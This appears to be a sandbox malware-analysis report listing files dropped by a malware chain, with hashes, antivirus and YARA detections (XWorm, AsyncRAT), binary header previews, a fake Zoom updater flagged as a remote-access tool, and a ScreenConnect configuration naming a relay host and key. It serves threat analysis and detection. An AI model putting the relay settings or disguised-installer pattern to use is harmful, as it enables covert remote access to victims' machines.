SSDEEP:	48:OhOJFAsH55AfdH85AfdHfh/dH8h/dHmh/dHH/dHS/dH0/dHjdH6dH/dHAdHKdH7X:oObH52H82HzHAHyHVHeHMHZHUH1HyHkb
MD5:	675DFF8CC5F57722C1F3069C911F5ABC
SHA1:	1930E0C02EEC940D4469142E9E5E9A383AAEC496
SHA-256:	3538A577D42B0D786ABC48988D38D17BA6C66678BE9E1EE5FC27C44E3B427207
SHA-512:	4800BEBEC187AE35AB367A9A7FE51CB63882A31CC0F5668CBB47A663CAD527C13D9132EAC6AB7A41825351F9F6D374F56FEED699FCD1558395954343A8DE5B99
Malicious:	false
Preview:	<?xml version="1.0"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="DisabledCommandNames" serializeAs="String">.. <value>RunToolElevated,ToggleBeepOnConnect,Hide,RequestParticipantShare</value>.. </setting>.. <setting name="SupportShowUnderControlBanner" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="AccessShowUnderControlBanner" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportHideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="AccessHideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="HideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportSho

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\system.config

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (476), with CRLF line terminators
Category:	dropped
Size (bytes):	966
Entropy (8bit):	5.758406018485606
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaOkVl/ENO/Jutic4bqujzOBVty6CmB6n:2dL9hK6E4dl/5JuobzjGtxCZvH
MD5:	0494E3DF98DC9BBB9AEB5E54FA604DFC
SHA1:	5D7C2FE3D593AAC9CD80F964A64F51C7871A9EB5
SHA-256:	7D724E9107868E9FF3A2D90570F837DDAF5A8612AEF447E4911BB0066D19EB83
SHA-512:	2BC43571CD6AD3B9560F150B5D170DAD0A82AEED50A169165C436FADAA84B10F0B04A13F950991C3FEE36B259E47F7FE43215E43A1747130BF238FC09C31A4CE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="ClientLaunchParametersConstraint" serializeAs="String">.. <value>?h=instance-m858nm-relay.screenconnect.com&p=443&k=BgIAAACkAABSU0ExAAgAAAEAAQAVnkKvoJ2a5Owy72d6CsGdKvHoeDC4B57FaJ6Hxr4F3MVrvri8W9EBpR76DnouoQOLdhagN9jXLv1DU9oYtbUyE5f22RxeyKb5ACDc8ergbSKA6QVCTyTw%2b3U%2fOzjOQHcKvuOA1wvUksct4fMl%2fH6deBklLuXsqF5i5v%2be0%2fy69N3M%2byB6qBKOsSPdQFoez5pkMEvZ%2bP26YFGRbMQy7WBZp%2bnngJN34UsDIkAV0RR4%2foS8UwkCPPERznjyO7T3iiIpbJgk9Xyyo9LATv0PIVIobYuVGgw6FX9yR8iM6FgVacp6H5r7KSQo5HS13%2bcfCkJbSoce8r%2fzHSz0DB93mjez</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\X91lnt.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\X91lnt.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ZoomUpdateInstallerFull.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.36509199858051
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTrM3RJoDLIP12MUAvvR+uCv:Q3La/KDLI4MWuPTArkvoDLI4MWuCv
MD5:	1CF2352B684EF57925D98E766BA897F2
SHA1:	6E8CB2C1143E9D9D1211BAA811FE4CAA49C08B55
SHA-256:	43C3FB3C0B72A899C5442DAC8748D019D800E0A9421D3677EB96E196ED285290
SHA-512:	9F2D6F89453C867386A65A04FF96067FC3B23A99A4BCE0ECD227E130F409069FE6DD202D4839CBF204C3F204EC058D6CDFDADA7DD212BC2356D74FEC97F22061
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	746
Entropy (8bit):	5.349174276064173
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhaOK9eDLI4MNJK9P/JNTK9yirkvoDLb:ML9E4KlKDE4KhKiKhPKIE4oKNzKogE4P
MD5:	ED994980CB1AABB953B2C8ECDC745E1F
SHA1:	9E9D3E00A69FC862F4D3C30F42BF26693A2D2A21
SHA-256:	D23B54CCF9F6327FE1158762D4E5846649699A7B78418D056A197835ED1EBE79
SHA-512:	61DFC93154BCD734B9836A6DECF93674499FF533E2B9A1188886E2CBD04DF35538368485AA7E775B641ADC120BAE1AC2551B28647951C592AA77F6747F0E9187
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	727552
Entropy (8bit):	7.888061454157426
Encrypted:	false
SSDEEP:	12288:tyNudyx57oPuBlhyyZzWDtkfDdEIHiyO+rBlhyyZzWDtkfDdEIHiyO+N:t+3x5s2BCyqXIdXBCyqXId5
MD5:	28E568616A7B792CAC1726DEB77D9039
SHA1:	39890A418FB391B823ED5084533E2E24DFF021E1
SHA-256:	9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2
SHA-512:	85048799E6D2756F1D6AF77F34E6A1F454C48F2F43042927845931B7ECFF2E5DE45F864627A3D4AA061252401225BBB6C2CAA8532320CCBE401E97C9C79AC8E5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$Xg.................N..........,6............@..........................P......\|z....@.................................l...d...................................................................8h..............4...d............................text...AM.......N.................. ..`.rdata..<~...`.......V..............@..@.data...L...........................@....rsrc...............................@..@.reloc..............................@..B.bss.........0......................@....bss................................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46080
Entropy (8bit):	5.79836148663518
Encrypted:	false
SSDEEP:	768:PVpCR6VwouSC0mhxU5tXBl8BvYzTfkbh5vk4qI/1aLOohbt7JH:9qgvE2rXD9kbhddqkuOoVx9
MD5:	A5F523E1C127D30AAA5CE1482586E8FF
SHA1:	AA9EEB004C0951AAFE998609E7DE74EEB9DB8E35
SHA-256:	81A5836C993246FAA9E76BC1C68606CBE52E751972A29F8A903A6F79B6BCD425
SHA-512:	5B0BFEC2D1F09AAA755873C1C1E037442688DB8D11A2A3A9401A084212D393BDB424EAE02FEC9F2CDF44F7A707224BCC812A5E5022F6683F974077F557703F5A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k`g................................. ........@.. ....................... ............@.....................................S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........W..tq......&.....................................................(.....r...p. .=l...(.....r...p. .(T..s.........s.........s.........s..........r1..p. p{..rI..p. ..}..ra..p. .....ry..p. ..e..r...p. .w...((....r...p. .Q...r...p. /?..&(....&+..+5sR... .... .'..oS...(...~....-.(A...(3...~....oT...&.-..ri..p. .+..r...p. S....r...p.r...p. .~Z...............j..................sU.............."(C...+.:.t....(>...+..r...p. E/...r...p*.r

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1996288
Entropy (8bit):	7.953858600392985
Encrypted:	false
SSDEEP:	49152:rma6J1BlkcbMhFpkGUIcI0A0ztd78qMicwX:ChBCcbQCWEA0ztRbMic
MD5:	99DD38354007AD11F18A1B615C9BB10B
SHA1:	0158DF4FB85078A75BB3D429B8BE2ACA4BA3FF1A
SHA-256:	9309650EB157AA17D74F1D489621603F28B4227BE9D178A8FC3D7F74B83FA5CD
SHA-512:	0C0B80415464DB0FE0ABA93F9EE696AC9205978A0A2596EA2E2B596718BC8E238449125CF01E35B9CA15F6E803EC871DE9A837231F46A7E8047A6D5342238717
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^.......pL...........@...........................L.....pO....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... .p*..........V..............@...swxylpaw.....`2......X..............@...tqtvygux.....`L......P..............@....taggant.0...pL.."...T..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ZoomUpdateInstallerFull[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5640088
Entropy (8bit):	7.428083495893139
Encrypted:	false
SSDEEP:	49152:qEEL5cx5xTkYJkGYYpT0+TFiH7efP8Q1yJJ4ZD1F5z97oL1YbGQ+okRPGHpRPqM8:XEs6efPNwJ4t1h0cG5FGJRPxow8O
MD5:	D0C12EE2B2DE8797A2AEEE409EAB842E
SHA1:	B2EC2574D1CF378E32E14FC74F4D0960ADD36FBE
SHA-256:	8CBBB2467AD8EA2C98658448B24117D36750CAB0368AE6C63C5D7235B14D4129
SHA-512:	7AEA79F30999A10A47CB509F6F02F751DC0CCA1BEE4BBC581477B5AD5BD0BC86E837FCF4658C88831E58EA5068A2392DF757558AB71D3E67EE777F7DEA7082C0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ZoomUpdateInstallerFull[1].exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!......S...................@...........................T.......T...@..................................)..P....`..t0S..........bT.......T..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...t0S..`...2S.. ..............@..@.reloc........T......RT.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4499456
Entropy (8bit):	7.983048714039164
Encrypted:	false
SSDEEP:	98304:wlUEvwgbKfYleVhmgGb6IWNKRH3FjqeastFebMlaPix:jEvwgbTwEGZNGHdaCFeIlmix
MD5:	E69D6392CE754012AD54789F13D77A0D
SHA1:	5EF1554489346A953332434E50D7E6AA86F2ADE4
SHA-256:	9DC1961F2B52B24928AB684A7CE6384AC254976C2873FC7FBB1674353C8005B7
SHA-512:	4630F61F50BBE8230EFBAC36E256F266C31BA6F9E3E4742680DA686706F05AEDC2B4C45B2604E80B1749260FB84921824CA490222DFD6405A6610BE8EAD03B9E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L]g...............(..K..dq..2............K...@..................................FE...@... ............................._.n.s.....n............................................................................................................ . ..n......@(.................@....rsrc.........n......P(.............@....idata ......n......R(.............@... ..9...n......T(.............@...vdaqvihp.0.......,...V(.............@...whfdthea..............D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulhvnXz:NllU
MD5:	13A5F687991893CCDFE198EC677D17AF
SHA1:	542384358389E50E487BF95100E71B5CB40A8634
SHA-256:	DCFE651EDD144DC36D9D358195D17E80FAEA258EF4146AD5C91F83B4BDA00B77
SHA-512:	55CCC7DA45C19540A299912461AC492D1F078C4275A56DF6028FF10FEE0E78017A7012C155366465825959B33F5F668677DFD47B034E0924943BC597FD0F1D3A
Malicious:	false
Preview:	@...e...................................8............@..........

C:\Users\user\AppData\Local\Temp\1016235001\software1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46080
Entropy (8bit):	5.79836148663518
Encrypted:	false
SSDEEP:	768:PVpCR6VwouSC0mhxU5tXBl8BvYzTfkbh5vk4qI/1aLOohbt7JH:9qgvE2rXD9kbhddqkuOoVx9
MD5:	A5F523E1C127D30AAA5CE1482586E8FF
SHA1:	AA9EEB004C0951AAFE998609E7DE74EEB9DB8E35
SHA-256:	81A5836C993246FAA9E76BC1C68606CBE52E751972A29F8A903A6F79B6BCD425
SHA-512:	5B0BFEC2D1F09AAA755873C1C1E037442688DB8D11A2A3A9401A084212D393BDB424EAE02FEC9F2CDF44F7A707224BCC812A5E5022F6683F974077F557703F5A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k`g................................. ........@.. ....................... ............@.....................................S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........W..tq......&.....................................................(.....r...p. .=l...(.....r...p. .(T..s.........s.........s.........s..........r1..p. p{..rI..p. ..}..ra..p. .....ry..p. ..e..r...p. .w...((....r...p. .Q...r...p. /?..&(....&+..+5sR... .... .'..oS...(...~....-.(A...(3...~....oT...&.-..ri..p. .+..r...p. S....r...p.r...p. .~Z...............j..................sU.............."(C...+.:.t....(>...+..r...p. E/...r...p*.r

C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5640088
Entropy (8bit):	7.428083495893139
Encrypted:	false
SSDEEP:	49152:qEEL5cx5xTkYJkGYYpT0+TFiH7efP8Q1yJJ4ZD1F5z97oL1YbGQ+okRPGHpRPqM8:XEs6efPNwJ4t1h0cG5FGJRPxow8O
MD5:	D0C12EE2B2DE8797A2AEEE409EAB842E
SHA1:	B2EC2574D1CF378E32E14FC74F4D0960ADD36FBE
SHA-256:	8CBBB2467AD8EA2C98658448B24117D36750CAB0368AE6C63C5D7235B14D4129
SHA-512:	7AEA79F30999A10A47CB509F6F02F751DC0CCA1BEE4BBC581477B5AD5BD0BC86E837FCF4658C88831E58EA5068A2392DF757558AB71D3E67EE777F7DEA7082C0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!......S...................@...........................T.......T...@..................................)..P....`..t0S..........bT.......T..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...t0S..`...2S.. ..............@..@.reloc........T......RT.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1996288
Entropy (8bit):	7.953858600392985
Encrypted:	false
SSDEEP:	49152:rma6J1BlkcbMhFpkGUIcI0A0ztd78qMicwX:ChBCcbQCWEA0ztRbMic
MD5:	99DD38354007AD11F18A1B615C9BB10B
SHA1:	0158DF4FB85078A75BB3D429B8BE2ACA4BA3FF1A
SHA-256:	9309650EB157AA17D74F1D489621603F28B4227BE9D178A8FC3D7F74B83FA5CD
SHA-512:	0C0B80415464DB0FE0ABA93F9EE696AC9205978A0A2596EA2E2B596718BC8E238449125CF01E35B9CA15F6E803EC871DE9A837231F46A7E8047A6D5342238717
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^.......pL...........@...........................L.....pO....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... .p*..........V..............@...swxylpaw.....`2......X..............@...tqtvygux.....`L......P..............@....taggant.0...pL.."...T..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016275001\e953dd76d3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	727552
Entropy (8bit):	7.888061454157426
Encrypted:	false
SSDEEP:	12288:tyNudyx57oPuBlhyyZzWDtkfDdEIHiyO+rBlhyyZzWDtkfDdEIHiyO+N:t+3x5s2BCyqXIdXBCyqXId5
MD5:	28E568616A7B792CAC1726DEB77D9039
SHA1:	39890A418FB391B823ED5084533E2E24DFF021E1
SHA-256:	9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2
SHA-512:	85048799E6D2756F1D6AF77F34E6A1F454C48F2F43042927845931B7ECFF2E5DE45F864627A3D4AA061252401225BBB6C2CAA8532320CCBE401E97C9C79AC8E5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$Xg.................N..........,6............@..........................P......\|z....@.................................l...d...................................................................8h..............4...d............................text...AM.......N.................. ..`.rdata..<~...`.......V..............@..@.data...L...........................@....rsrc...............................@..@.reloc..............................@..B.bss.........0......................@....bss................................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016276001\a8e958d3ab.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4499456
Entropy (8bit):	7.983048714039164
Encrypted:	false
SSDEEP:	98304:wlUEvwgbKfYleVhmgGb6IWNKRH3FjqeastFebMlaPix:jEvwgbTwEGZNGHdaCFeIlmix
MD5:	E69D6392CE754012AD54789F13D77A0D
SHA1:	5EF1554489346A953332434E50D7E6AA86F2ADE4
SHA-256:	9DC1961F2B52B24928AB684A7CE6384AC254976C2873FC7FBB1674353C8005B7
SHA-512:	4630F61F50BBE8230EFBAC36E256F266C31BA6F9E3E4742680DA686706F05AEDC2B4C45B2604E80B1749260FB84921824CA490222DFD6405A6610BE8EAD03B9E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L]g...............(..K..dq..2............K...@..................................FE...@... ............................._.n.s.....n............................................................................................................ . ..n......@(.................@....rsrc.........n......P(.............@....idata ......n......R(.............@... ..9...n......T(.............@...vdaqvihp.0.......,...V(.............@...whfdthea..............D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, InstallShield self-extracting archive
Category:	dropped
Size (bytes):	1088392
Entropy (8bit):	7.789940577622617
Encrypted:	false
SSDEEP:	24576:QUUGGHn+rUGemcPe9MpKL4Plb2sZWV+tLv0QYu5OPthT+gd:jGHpRPqMpvlqs0O4iO2k
MD5:	8A8767F589EA2F2C7496B63D8CCC2552
SHA1:	CC5DE8DD18E7117D8F2520A51EDB1D165CAE64B0
SHA-256:	0918D8AB2237368A5CEC8CE99261FB07A1A1BEEDA20464C0F91AF0FE3349636B
